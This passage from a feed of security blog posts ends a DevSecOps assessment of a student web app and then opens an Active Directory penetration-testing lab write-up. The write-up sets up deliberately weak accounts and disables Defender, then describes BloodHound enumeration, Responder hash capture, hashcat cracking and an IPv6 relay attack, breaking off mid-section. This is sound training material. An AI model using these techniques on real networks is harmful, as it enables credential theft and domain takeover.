Page</figcaption></figure><p>An interface was developed to present the available services and recent requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MXPKhRQTcF9J-m68TTKzIw.png" /><figcaption>Figure 2 — Request List</figcaption></figure><p>Developed functionality allowing the tracking of requests and their status.</p><h3>1.3 Technology Choices</h3><p>The technologies used during the development of the application are:</p><ul><li><strong>Node.js / Express</strong> for server-side logic</li><li><strong>HTML / CSS / JavaScript</strong> for the web interface</li><li><strong>Relational database</strong> for data storage</li><li><strong>Docker</strong> for application containerization</li></ul><p>These technology choices enabled rapid development and simplified deployment.</p><h3>2) Execution Environment and Security Scope</h3><h3>2.1 Docker Deployment</h3><p>The application was deployed in a Docker-based environment in order to:</p><ul><li>Standardize application execution</li><li>Facilitate testing activities</li><li>Simulate an environment close to production</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyNpEiDtM5rCJ6D594PuOw.png" /><figcaption>Figure 3 — Project Structure Within the Docker Container</figcaption></figure><h3>2.2 Security Testing Scope</h3><p>The security testing scope covers:</p><ul><li>The developed source code (<strong>SAST</strong>)</li><li>The running application (<strong>DAST</strong>)</li><li>Docker and Kubernetes configuration files</li><li>The container execution environment</li></ul><p>The tests were intentionally conducted after the initial development phase in order to identify vulnerabilities prior to the hardening stage.</p><h3>3) Adopted DevSecOps Methodology</h3><h3>3.1 Security Integration in the Development Lifecycle</h3><p>The adopted methodology follows these steps:</p><ul><li>Functional development of the application</li><li>Automated analysis of code and configuration</li><li>Manual penetration testing</li><li>Impact assessment</li><li>Vulnerability remediation and hardening</li></ul><p>This approach reflects a realistic <strong>DevSecOps lifecycle</strong>.</p><h3>3.2 Security Tools Used</h3><p>The following security tools were used during the analysis:</p><ul><li><strong>Semgrep</strong>: static analysis of the developed code (<strong>SAST</strong>)</li><li><strong>OWASP ZAP</strong>: dynamic analysis of the running application (<strong>DAST</strong>)</li><li><strong>Trivy</strong>: Docker and Kubernetes configuration scanning</li><li><strong>Node.js scripts and Docker commands</strong> for manual security analysis</li></ul><h3>4) Dynamic Security Analysis (DAST — OWASP ZAP)</h3><h3>4.1 Results Summary</h3><p>The OWASP ZAP scan was executed against the developed application.</p><p><strong>Results:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AYCLx7MT1tyDJbDVBHzcLw.png" /><figcaption>Figure 4 — OWASP ZAP Alert Summary</figcaption></figure><h3>4.2 Key Vulnerabilities Identified</h3><p>The most significant alerts identified are:</p><ul><li>Absence of anti-CSRF tokens</li><li>Missing Content Security Policy (CSP)</li><li>Lack of anti-clickjacking protection</li><li>Cookies without the HttpOnly flag</li><li>Indicator of a potential XSS vulnerability</li></ul><p>These vulnerabilities are directly related to initial development choices made prior to the integration of security mechanisms.</p><h3>5) Static Code Analysis (SAST — Semgrep)</h3><h3>5.1 Analysis Results</h3><p>The static analysis made it possible to identify:</p><ul><li>Poor security practices in the Express application code</li><li>Insecure Docker configurations</li><li>Lack of privilege restriction mechanisms</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZabzYC9QVzgQ2wONlGOcPQ.png" /><figcaption>Figure 5 — Semgrep Results on Code and Configuration</figcaption></figure><h3>6.1 Configuration File Analysis</h3><p>The Trivy scan focused on the following configuration files:</p><ul><li>Dockerfile</li><li>Kubernetes manifests</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*nNl0NI8AFnso1BIDIylXoQ.png" /><figcaption>Figure 6 — Trivy Results (Docker and Kubernetes Configuration)</figcaption></figure><p>These results confirm the need for hardening the execution environment.</p><h3>7) Manual Exploitation — XSS Vulnerability</h3><h3>7.1 Identification of the Vulnerability</h3><p>A <strong>stored XSS</strong> vulnerability was identified in the comment functionality through a payload injected by a user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*KtYtUPoAi_MX-vmgAMmGYw.png" /><figcaption>Figure 7 — XSS Injection in a Comment</figcaption></figure><h3>7.2 Execution with Elevated Privileges</h3><p>When accessing the administrator interface, the injected code is executed automatically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XltjF0lzUrqSkRxT3kelRw.png" /><figcaption>Figure 8 — Execution of the XSS in the Administrator View</figcaption></figure><p>This exploitation confirms the real impact of the vulnerability that was initially detected through automated analysis.</p><h3>8) Docker Security Analysis</h3><h3>8.1 Deployment Misconfigurations</h3><p>The container analysis revealed the following security issues:</p><ul><li>Execution in <strong>privileged mode</strong></li><li>Exposure of the Docker socket</li><li>Excessive Linux capabilities</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b8Ih6T97P3aszorNc5AplQ.png" /><figcaption>Figure 9 — Container Running with Elevated Privileges</figcaption></figure><h3>8.2 Access to the Docker Daemon</h3><p>Access to the Docker API from within the container is possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FuEqDQhGqA9Uzxjv1QpDjw.png" /><figcaption>Figure 10 — Access to the Docker API from the Container</figcaption></figure><p>This demonstrates a major risk of host system compromise.</p><h3>9) Recommendations and Hardening</h3><p>Following the SAST and DAST analyses as well as the manual exploitation phase, several vulnerabilities and configuration issues were identified.<br> This section presents the security recommendations aimed at strengthening the <strong>UniOrder</strong> application, developed as part of this project, along with its execution environment.</p><h3>9.1 Application-Level Improvements</h3><p>The results of the OWASP ZAP dynamic analysis and the Semgrep static analysis highlighted several weaknesses related to the application code and HTTP configuration.</p><h3>9.1.1 Input Sanitization and Validation</h3><p>Several user input entry points were not properly filtered, particularly within the search functionality (/search) and the comment fields.</p><p><strong>Recommendations:</strong></p><ul><li>Strictly validate all user inputs on the server side</li><li>Systematically escape HTML output</li><li>Use secure templating functions</li><li>Apply whitelist-based input validation</li></ul><p>These measures significantly reduce the risk of <strong>XSS attacks</strong>, which were confirmed during manual exploitation.</p><h3>9.1.2 Protection Against CSRF Attacks</h3><p>The DAST analysis revealed the absence of anti-CSRF tokens on several critical forms, such as:</p><ul><li>/login</li><li>/new-request</li><li>/request/{id}/comment</li></ul><p><strong>Recommendations:</strong></p><ul><li>Implement unique anti-CSRF tokens for each form</li><li>Systematically validate these tokens on the server side</li><li>Avoid using GET requests for any operation that modifies the application state</li></ul><p>These mechanisms help prevent <strong>Cross-Site Request Forgery (CSRF)</strong> attacks.</p><h3>9.1.3 Session Cookie Security</h3><p>OWASP ZAP identified session cookies that were missing important security attributes.</p><p><strong>Recommendations:</strong></p><ul><li>Enable the HttpOnly and Secure attributes on session cookies</li><li>Define the SameSite attribute (Strict or Lax depending on requirements)</li><li>Limit session cookie lifetime</li></ul><p>These measures reduce the risks of session hijacking and exploitation through XSS.</p><h3>9.1.4 Implementation of HTTP Security Headers</h3><p>Several essential HTTP security headers were missing or misconfigured.</p><p><strong>Recommendations:</strong></p><ul><li>Add a restrictive <strong>Content Security Policy (CSP)</strong></li><li>Enable X-Frame-Options or the frame-ancestors directive to prevent clickjacking</li><li>Set X-Content-Type-Options: nosniff</li><li>Remove the X-Powered-By header</li></ul><p>Implementing these headers strengthens overall browser-side protection against client-side attacks.</p><h3>9.2 Hardening of the Execution Environment</h3><p>The analysis of the Docker environment revealed critical configurations that directly impact host security.</p><h3>9.2.1 Removal of Privileged Mode</h3><p>The main container was executed in <strong>privileged mode</strong>, granting it privileges equivalent to those of the host system.</p><p><strong>Recommendation:</strong></p><ul><li>Remove the privileged: true option</li><li>Explicitly limit permissions to only those required for application functionality</li></ul><h3>9.2.2 Removal of Access to docker.sock</h3><p>The presence of the Docker socket /var/run/docker.sock inside the container allowed direct access to the Docker API.</p><p><strong>Impact:</strong></p><ul><li>Full control of the Docker daemon from within the container</li><li>Ability to execute code on the host system</li></ul><p><strong>Recommendation:</strong></p><ul><li>Remove any mounting of the Docker socket</li><li>Isolate services requiring Docker access in dedicated environments</li></ul><h3>9.2.3 Execution as a Non-Root User</h3><p>Containers were executed using the default root user.</p><p><strong>Recommendation:</strong></p><ul><li>Create a dedicated non-root user within Docker images</li><li>Run the application with minimal privileges</li></ul><h3>9.2.4 Reduction of Linux Capabilities</h3><p>By default, several system capabilities were unnecessary for the application.</p><p><strong>Recommendation:</strong></p><ul><li>Apply the principle of least privilege</li><li>Remove unnecessary capabilities (e.g., CAP_SYS_ADMIN)</li><li>Explicitly define only the required capabilities</li></ul><h3>9.3 DevSecOps Integration and Infrastructure as Code (IaC)</h3><p>Security was integrated from the development phase following a <strong>DevSecOps</strong> approach.</p><h3>9.3.1 Security Integrated into the CI/CD Pipeline</h3><p>An automated script (security-scan-v1.sh) was implemented to execute the following security checks:</p><ul><li><strong>SAST</strong> using Semgrep</li><li><strong>Configuration scanning</strong> using Trivy</li><li><strong>Container analysis</strong> using Dockle</li><li><strong>DAST</strong> using OWASP ZAP</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*hM0IUKH8Ic1EbAnnVC1g6Q.png" /><figcaption>Figure 11 — Security Scan Automation Script</figcaption></figure><p>These analyses are executed automatically and generate actionable security reports.</p><h3>9.3.2 Blocking Non-Compliant Builds</h3><p>Security scans are configured to:</p><ul><li>Detect blocking vulnerabilities</li><li>Interrupt the pipeline in case of non-compliance</li></ul><p>This approach prevents the deployment of insecure code or misconfigured environments.</p><h3>9.3.3 Infrastructure as Code (IaC)</h3><p>The entire project infrastructure is defined as code, including:</p><ul><li>Dockerfiles</li><li>docker-compose.yml</li><li>Automation scripts</li></ul><p>This <strong>Infrastructure as Code</strong> approach ensures:</p><ul><li>Environment reproducibility</li><li>Change traceability</li><li>Continuous integration of security controls</li></ul><h3>Conclusion</h3><p>This project highlights the importance of integrating security from the earliest stages of development.<br> Developing the <strong>UniOrder</strong> application and subsequently conducting its security assessment provides a concrete illustration of the DevSecOps approach, where the developer is also an active participant in ensuring security.</p><p>The identified vulnerabilities, although common, demonstrate that without proper hardening, a functional application can quickly become vulnerable.<br> The proposed measures significantly improve the overall security posture of the application.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17e4a1d34f11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Red Team, Blue Team: A Practical Approach to Active Directory Penetration Testing and Hardening]]></title>
            <link>https://medium.com/@wiame.elouahabi5/red-team-blue-team-a-practical-approach-to-active-directory-penetration-testing-and-hardening-1bc5af1a980d?source=rss-336fac6e5464------2</link>
            <guid isPermaLink="false">https://medium.com/p/1bc5af1a980d</guid>
            <dc:creator><![CDATA[Wiame El Ouahabi]]></dc:creator>
            <pubDate>Wed, 13 Aug 2025 02:02:19 GMT</pubDate>
            <atom:updated>2025-08-13T08:18:36.966Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>1-Lab Setup</strong></h3><p>This section details the foundational setup of the virtualized environment, outlining the machines used and their network configuration.</p><h3>1.1 Virtual Machine Setup</h3><p>The lab environment was constructed using <strong>VMware Workstation 17 Player</strong>, comprising the following virtual machines:</p><ul><li><strong>1 x Windows Server 2019</strong> (Domain Controller, IPv4 address: 192.168.233.3)</li><li><strong>1 x Windows 10 Enterprise</strong> (Client Machine, IPv4 address: 192.168.233.4)</li><li><strong>1 x Kali Linux</strong> (Attacker Machine, IPv4 address: 192.168.233.132)</li></ul><p>The network for all virtual machines was configured to <strong>NAT (Network Address Translation)</strong> mode, allowing them to communicate with each other on an isolated virtual network segment while also providing internet access via the host machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*zQlM9YWaL5FYnGyHfFv77A.png" /></figure><h3>1.1.2 Setting up Domain Controller</h3><p>The Domain Controller was set up using Windows Server 2019. The key configuration steps involved:</p><ol><li><strong>Operating System Installation:</strong> Windows Server 2019 Standard Eval (Desktop Experience) was installed on a new virtual machine.</li><li><strong>Network Configuration:</strong> The VM’s network adapter was set to <strong>NAT</strong> to allow communication within the isolated lab environment and provide internet access.</li><li><strong>VMware Tools Installation:</strong> VMware Tools were installed to enhance VM performance and usability.</li><li><strong>Server Renaming:</strong> The server’s PC name was set to ADLAB-DC01 for clear identification within the network.</li><li><strong>Administrator Password:</strong> A strong password, P@$$w0rd, was set for the local Administrator account (which becomes the Domain Administrator password after promotion).</li><li><strong>Active Directory Domain Services (AD DS) Role Installation:</strong> The AD DS role was installed via Server Manager.</li><li><strong>Domain Controller Promotion:</strong> The server was promoted to a Domain Controller, establishing a new Active Directory forest with the root domain name <strong>ADPENTESTING.local</strong>. Default installation options were accepted, and a password for DSRM (Directory Services Restore Mode) was set.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*lne3HIen3hiIBtVrOju8HQ.png" /></figure><h3>1.1.3 Setting up User Machine</h3><p>The client machine was set up using Windows 10 Enterprise to simulate a typical user workstation within the domain. The initial configuration steps included:</p><ol><li><strong>VMware Tools Installation:</strong> VMware Tools were installed to enhance VM performance and usability.</li><li><strong>Client Renaming:</strong> The PC name was set to AD-CLIENT01 clear identification within the network. The machine was then restarted for the name change to take effect.</li></ol><h3>1.2 Active Directory (AD) Setup, Groups, and Policies</h3><p>After setting up the Domain Controller, the Active Directory environment was populated with various user accounts and an Organizational Unit (OU) to simulate a typical enterprise structure.</p><ol><li><strong>Organizational Unit (OU) Creation:</strong> An OU named “Groups” was created under the root domain (ADPENTESTING.local) to help organize domain objects.</li><li><strong>User Account Management:</strong></li></ol><ul><li>Existing users (except Administrator and Guest) were moved from the default “Users” container to the newly created “Groups” OU.</li><li>Several new domain user accounts were created under the “Users” directory, with specific password settings:</li><li><strong>Common Configuration:</strong> For all new users, the “User must change password at next logon” option was <strong>unchecked</strong>, and “Password never expires” was <strong>checked</strong>.</li><li><strong>gus:</strong> Copied from the “Administrator” domain admin account, with login gus and password password@2025. This creates a highly privileged account for testing.</li><li><strong>SQLService:</strong> Also copied from the “Administrator” domain admin account, with login SQLService, password MYpassword123#, and a description “Password is MYpassword123#”. This simulates a misconfigured service account with high privileges and a publicly noted password.</li><li><strong>Make:</strong> A new standard user domain account was created with login Make and password password@@123. This account will serve as a typical domain user for initial compromise scenarios.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*Vi0Vy_JXob0ENsgT3M_kvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*vaOVPYQrwKiBNHWrRmyXtg.png" /></figure><h3>1.3 File Server Configuration (SMB Share)</h3><p>To enable file sharing and provide a target for SMB-related attacks, a network share was configured on the Domain Controller.</p><ol><li><strong>Enable SMB File Sharing:</strong> File and Storage Services were accessed through Server Manager.</li><li><strong>Create New Share:</strong> A new SMB share was created using the “SMB Share — Quick” option.</li><li><strong>Set Share Name:</strong> The share was named <strong>hackme</strong>. Default prompts were followed to complete its creation.</li></ol><p>This setup ensures that SMB ports (445 and 139) are open and a share is available for later lab activities, including enumeration and relay attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*4GqWOL2M2RndCYMEOorUFQ.png" /></figure><h3>1.4 Creating Service Principal Name (SPN)</h3><p>To set up a vulnerable target for Kerberoasting attacks, a Service Principal Name (SPN) was manually configured for the SQLService domain account.</p><ol><li><strong>Open Command Prompt as Administrator:</strong> This action was performed on the Domain Controller.</li><li><strong>Set the SPN:</strong> The setspn command was used to associate a service principal name with the SQLService account. This simulates a service (a custom web application or database service) running under a user account.</li></ol><p><strong>setspn -a ADPENTESTING/SQLService.ADPENTESTING.local:60111 ADPENTESTING\SQLService</strong></p><p>3. <strong>Verify SPN Configuration:</strong> The setspn -T command was used to query the Active Directory for all registered SPNs, confirming that the newly set SPN for SQLService was correctly registered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*cmvdG3VTDSJRoJREBF3shw.png" /></figure><h3>1.5 Group Policy Configuration</h3><p>To facilitate lab activities by temporarily reducing defensive measures, a Group Policy Object (GPO) was configured to disable Windows Defender Antivirus.</p><ol><li><strong>Open Group Policy Management:</strong> This was done as an administrator on the Domain Controller.</li><li><strong>Create New GPO:</strong> A new GPO named “Disable Windows Defender” was created within the ADPENTESTING.local domain.</li><li><strong>Edit GPO Settings:</strong> The newly created GPO was edited.</li><li><strong>Navigate to Policy Path:</strong> The policy setting was located under Computer Configuration &gt; Policies &gt; Administrative Templates &gt; Windows Components &gt; Windows Defender Antivirus.</li><li><strong>Enable “Turn off Windows Defender Antivirus”:</strong> This specific policy was double-clicked and set to Enabled.</li></ol><p><em>Note: Disabling Windows Defender is done purely for lab purposes to simplify the execution of pentesting tools. In a production environment, antivirus solutions should always be enabled and properly managed.</em></p><h3>1.6 Connecting all Machines</h3><p>1. <strong>Network Configuration:</strong> On AD-CLIENT01, the IPv4 settings were configured to use the Domain Controller’s IP address as the Preferred DNS Server. This ensures proper name resolution within the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*nGftRbIaJiKf3SKnduPrNg.png" /></figure><p>2. <strong>Domain Join:</strong> The AD-CLIENT01 machine was joined to the ADPENTESTING.local domain. This process was performed using the credentials of the ADPENTESTING\Administrator account, which possesses the necessary privileges for domain integration. The machine was then restarted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*HNQiI1B4Dodid-BRAObTgA.png" /></figure><p>3. <strong>Domain User Login:</strong> Upon restart, the machine was logged into using the domain user account Make (ADPENTESTING\Make).</p><p>4. <strong>Local Administrator Rights Assignment:</strong> The domain user Make was then added to the local “Administrators” group on AD-CLIENT01 via “Computer Management”. This simulates a common real-world scenario where a standard domain user has local administrative privileges on their workstation, creating a potential pivot point for privilege escalation.</p><p>5. <strong>Network Discovery Activation:</strong> Network Discovery was enabled on AD-CLIENT01 to ensure its visibility and accessibility to other machines within the lab network, facilitating enumeration and lateral movement.</p><p>6. <strong>AD CS Role Installation:</strong> The “Active Directory Certificate Services” role was added via Server Manager on the Domain Controller.</p><p>7. <strong>CA Configuration:</strong> The Certification Authority (CA) was configured as an <strong>Enterprise Root CA</strong>. This setup allows the CA to issue certificates for the domain.</p><p>8. <strong>Validity Period:</strong> The certificate validity period was set to a long duration (99 years) for lab convenience.</p><p>9.<strong>Credential Provision:</strong> The configuration was performed using ADPENTESTING\Administrator credentials</p><h3>2-Offensive Operations: Reconnaissance &amp; Initial Access</h3><h3>2.1 Network &amp; Initial Enumeration</h3><p>Ping scan to discover live hosts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*fbQMqnEs0bCPN5YpE4bbIQ.png" /></figure><p>This type of scan is used to identify live hosts on a network by sending ICMP echo requests (ping) and ARP requests. The results indicate which hosts are active (up) in the subnet.</p><p>Quick scan for the top 50 ports on a specific host:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*1RKQkGThNg-ECdmGK6pdcg.png" /></figure><p>The output reveals open services such as SMB (port 445) and RPC (port 135).</p><p>Enumerate SMB hosts on a network range:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*8Buj7yEcGO0mI8oTk6VmUA.png" /></figure><p>It lists SMB-enabled hosts and shares within the subnet. The output includes NetBIOS names, domain names, and OS versions, which are crucial for identifying Windows machines and assessing SMB-related vulnerabilities.</p><h3>2.2 Active Directory (AD) Discovery</h3><p>This phase focuses on enumerating Active Directory to understand the domain structure, identify users, and uncover potential misconfigurations that can be exploited for privilege escalation. A key tool for this is <strong>BloodHound</strong>, which visually maps relationships within Active Directory.</p><p><strong>Objective</strong></p><p>The objective is to gather comprehensive information about the Active Directory environment, including users, groups, computers, and their relationships, to identify potential attack paths to high-value targets like Domain Administrators.</p><p><strong>Tools Used</strong></p><ul><li><strong>BloodHound:</strong> A single-page web application built on top of a Neo4j graph database, designed to reveal hidden and unintended relationships in an Active Directory environment.</li><li><strong>SharpHound.ps1 (or bloodhound-python):</strong> The data collector component of BloodHound, executed on a compromised Windows host or from Kali, to gather Active Directory data.</li><li><strong>PowerView.ps1:</strong> A PowerShell script from the PowerSploit framework, used for Active Directory reconnaissance.</li><li><strong>enum4linux:</strong> A Linux tool used for enumerating information from Windows and Samba hosts, including users, groups, shares, and password policies.</li><li><strong>CrackMapExec (CME):</strong> A versatile post-exploitation tool for enumerating and attacking Active Directory environments.</li></ul><p><strong>Attack Methodology</strong></p><p>The methodology involved setting up the BloodHound environment (Neo4j database and GUI), collecting Active Directory data using SharpHound, and then importing and analyzing this data to discover attack paths. Additionally, enum4linux and CrackMapExec were used for broader initial enumeration.</p><h3>2.2.1 Enumerate shares and users with a null session</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*S1u4b9DbKRgOkX4cui7N_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*K2hIMzahAQZMOod7qw1Gfw.png" /></figure><p>This screenshot displays a failed attempt to connect to the SMB service on the target using protocols like SMB1 and SMB2. The STATUS_ACCESS_DENIED error confirms that the server is configured to reject null session access, meaning enumeration via SMB without credentials is blocked. The tool attempted both ports 139 and 445, but access was denied in both cases.</p><h3>2.2.2 BloodHound data collection</h3><p><strong>Start Neo4j Database:</strong> The Neo4j graph database service was initiated on the Kali Linux machine to serve as the backend for BloodHound.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*8QsWwShBsDMcB1eUOwmy1g.png" /></figure><p><strong>Launch BloodHound GUI:</strong> The BloodHound graphical user interface was launched and connected to the running Neo4j database using the default bolt://localhost:7687 connection string and neo4j credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F3MYsVk25ks3xu339OLf0Q.png" /></figure><p>Data Collection (Windows 10 Client — AD-CLIENT01)</p><p>1. <strong>Transfer SharpHound:</strong> The SharpHound.ps1 script was transferred to the AD-CLIENT01 client machine. This was achieved by setting up a temporary HTTP server on Kali and downloading the script.</p><p>2. <strong>Execute SharpHound:</strong> From a PowerShell prompt on AD-CLIENT01 (running as Make, who has local administrator privileges), SharpHound.ps1 was executed to collect data from the ADPENTESTING.local domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*Ky6olKmGqD018LKx-oTyuw.png" /></figure><p>After execution, SharpHound generated a ZIP file containing the collected data (20250712160304_file.zip).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*51OF_vgY5WWg2GHaMK4EkQ.png" /></figure><p><strong>Transfer Data to Kali:</strong> The generated ZIP file was transferred back to the Kali Linux machine for import into the BloodHound GUI.</p><p>BloodHound Analysis: Domain Enumeration and Attack Path Mapping.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tiKreL0U1dLOX5pRcfN3fQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6DJGw3PJ2Zrg0BLii8q3HA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cEdDJCeYUhGffYvnqfbXhw.png" /></figure><p>BloodHound visually maps Active Directory relationships, clearly highlighting SQLService as a Kerberoastable account. This indicates a significant privilege escalation path, as compromising SQLService (due to its associated SPN and likely high privileges) can lead to broader domain access.</p><p>Impact</p><p>BloodHound data collection and analysis provide a comprehensive visual map of Active Directory relationships and permissions. This allows an attacker to:</p><ul><li><strong>Rapidly identify privilege escalation paths:</strong> Uncover complex chains of access that manual enumeration would miss.</li><li><strong>Prioritize targets:</strong> Focus on users or computers that offer the quickest or most impactful route to domain compromise.</li><li><strong>Understand security posture:</strong> Gain insights into misconfigurations and weak links in the Active Directory environment.</li></ul><p>This phase is fundamental for planning and executing subsequent exploitation and lateral movement attacks.</p><h3>2.2.3 PowerView Integration</h3><p><strong>What is PowerView?</strong></p><p>PowerView is a powerful PowerShell script designed for gaining situational awareness within an Active Directory domain. It enables security professionals to enumerate users, groups, computers, GPOs, OUs, ACLs, and other domain objects. It’s widely used in penetration testing for its comprehensive enumeration capabilities, helping to identify misconfigurations and potential attack paths that can be visualized in tools like BloodHound.</p><p><strong>PowerView Installation and Usage</strong></p><ol><li><strong>Transfer PowerView:</strong></li></ol><ul><li><strong>Download:</strong> Obtain PowerView.ps1 from the official PowerSploit repository on GitHub (https://github.com/PowerShellMafia/PowerSploit).</li><li><strong>Transfer to Windows Client:</strong> PowerView.ps1 was copied to Windows 10 client machine (AD-CLIENT01).</li></ul><p><strong>2.</strong> <strong>Import the PowerView module:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*LuGh35FBPfDGIkEf5dDYGw.png" /></figure><p><strong>3.</strong> <strong>Basic Usage (Example):</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*QOF4ezCn5z74zsWHJZs_SA.png" /></figure><h3>2.2.4 Enumerate SMB Users with CrackMapExec on AD Domain</h3><p>If anonymous enumeration is not permitted by the domain, CrackMapExec can be used with known valid credentials to perform authenticated enumeration of domain users. This was done using the Make user’s credentials, which were either already known or obtained through other initial access techniques (the password found in powerView ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HDbRk6aPucCk0Yndi3ofYw.png" /></figure><p><em>Objective:</em> Authenticated enumeration of valid domain usernames. This provides a detailed list of potential user accounts for further attacks like password spraying or credential-based lateral movement.</p><h3>2.3 Relaying and Poisoning</h3><h3>2.3.1 LLMNR Poisoning</h3><p>Introduction to LLMNR/NBT-NS Poisoning</p><p>LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are fallback name resolution protocols used by Windows clients when primary DNS resolution fails. These protocols operate by broadcasting queries on the local network. An attacker can exploit this by listening for these broadcasts and sending a spoofed response, claiming to be the requested resource. The victim client, trusting this response, will then attempt to authenticate to the attacker’s machine, automatically sending its NTLMv2 password hash. This allows the attacker to capture these hashes for offline cracking or NTLM relay attacks.</p><p>Objective</p><p>The objective of this attack is to demonstrate the ability to intercept and capture NTLMv2 password hashes from a domain-joined Windows client by exploiting the insecure nature of LLMNR/NBT-NS fallback protocols. The captured hash will then be cracked to reveal the plaintext password.</p><p>Tools Used</p><p><strong>Responder:</strong> A Python tool designed for LLMNR, NBT-NS, and MDNS poisoning, as well as HTTP/SMB/MSSQL/FTP/POP3/IMAP/SMTP/DNS servers for capturing credentials.</p><p><strong>Hashcat:</strong> A powerful, GPU-accelerated password recovery tool, used here for cracking NTLMv2 hashes.</p><p>Attack Methodology</p><p>The attack was performed by setting up the Kali Linux attacker machine to listen for LLMNR/NBT-NS queries and then triggering a name resolution fallback on the Windows 10 client.</p><p>Attacker Setup (Kali Linux)</p><p><strong>Start Responder:</strong> Responder was launched on the identified interface to begin listening for LLMNR/NBT-NS broadcasts and to set up various rogue services (SMB, HTTP, etc.) to capture authentication attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*0Hzob8WPLbvK5cfDF68iSQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*OQY0Q92pGD6STdCmw_-oUg.png" /></figure><p>The output confirmed Responder was active and poisoning LLMNR and NBT-NS, with various servers (HTTP, SMB, Kerberos, LDAP) enabled to capture different authentication types.</p><p>Victim Interaction (Windows 10 Client — AD-CLIENT01)</p><p><strong>Trigger Authentication:</strong> While Responder was running on Kali, the Windows 10 client (AD-CLIENT01), logged in as the domain user Make, was instructed to attempt accessing a non-existent network resource. This was achieved by typing the Kali Linux attacker’s IP address (\\192.168.233.132) in the File Explorer address bar. This action forced an SMB connection attempt to the attacker’s machine.</p><p>Hash Capture</p><p><strong>Observe Capture:</strong> Upon the victim’s attempt to access the non-existent resource, Responder immediately intercepted the LLMNR/NBT-NS query and sent a spoofed response. The Windows client then automatically attempted to authenticate to the attacker’s machine, sending its NTLMv2 hash. Responder successfully captured this hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*h1VDYzmbKnTmpSnX0THMyg.png" /></figure><p>Hash Cracking</p><p>1- <strong>Save Hash to File:</strong> The captured NTLMv2 hash was saved into a file named captured_hashes.txt on the Kali machine.</p><p>2- <strong>Prepare Wordlist:</strong> The rockyou.txt wordlist was used for the cracking attempt.</p><p>3- <strong>Run Hashcat:</strong> Hashcat was executed with mode 5600 (for NTLMv2) to perform a dictionary attack against the captured hash.</p><p><strong>hashcat -m 5600 captured_hashes.txt rockyou.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2-OYeZT0aErUVWWGHdvIQ.png" /></figure><p>The cracking process was successful, revealing the plaintext password associated with the Make user’s NTLMv2 hash.</p><p>The cracked password for Make was identified as password1.</p><h3>2.3.2 IPv6 DNS Takeover &amp; NTLM Relay to LDAP/S</h3><p>Introduction to IPv6 DNS Takeover &amp; NTLM Relay</p><p>This attack leverages Windows clients’ preference for IPv6 and their default behavior of attempting IPv6 name resolution (via DHCPv6 and Router Advertisements) even in IPv4-only networks. An attacker deploys mitm6 to act as a rogue IPv6 DHCP/DNS server, tricking clients into using the attacker’s machine as their DNS server for IPv6. When clients then attempt to resolve domain resources, mitm6 responds with the attacker’s IPv6 address. This forces clients to authenticate to the attacker, whose ntlmrelayx.py tool then relays these NTLM credentials to a vulnerable service on the legitimate Domain Controller (LDAP/S or AD CS), enabling privilege escalation.</p><p>Objective</p><p>he primary objective of this attack is to achieve <strong>Domain Administrator privileges</strong> by:</p><p>1. Performing an IPv6 DNS takeover to coerce NTLM authentication from a domain-joined client.</p><p>2. Relaying the captured NTLM hash to the Domain Controller’s LDAP/S service.</p><p>3. Exploiting the successful relay to escalate privileges, typically by adding a new user to the “Domain Admins” group or dumping sensitive domain information.</p><p>Tools Used</p><p><strong>mitm6:</strong> A Python tool for performing rogue IPv6 DHCP/DNS server attacks.</p><p><strong>ntlmrelayx.py (from Impacket):</strong> A powerful tool for listening for NTLM authentication attempts and relaying them to various target services (SMB, HTTP, LDAP/S, AD CS).</p><p>Attacker Setup (Kali 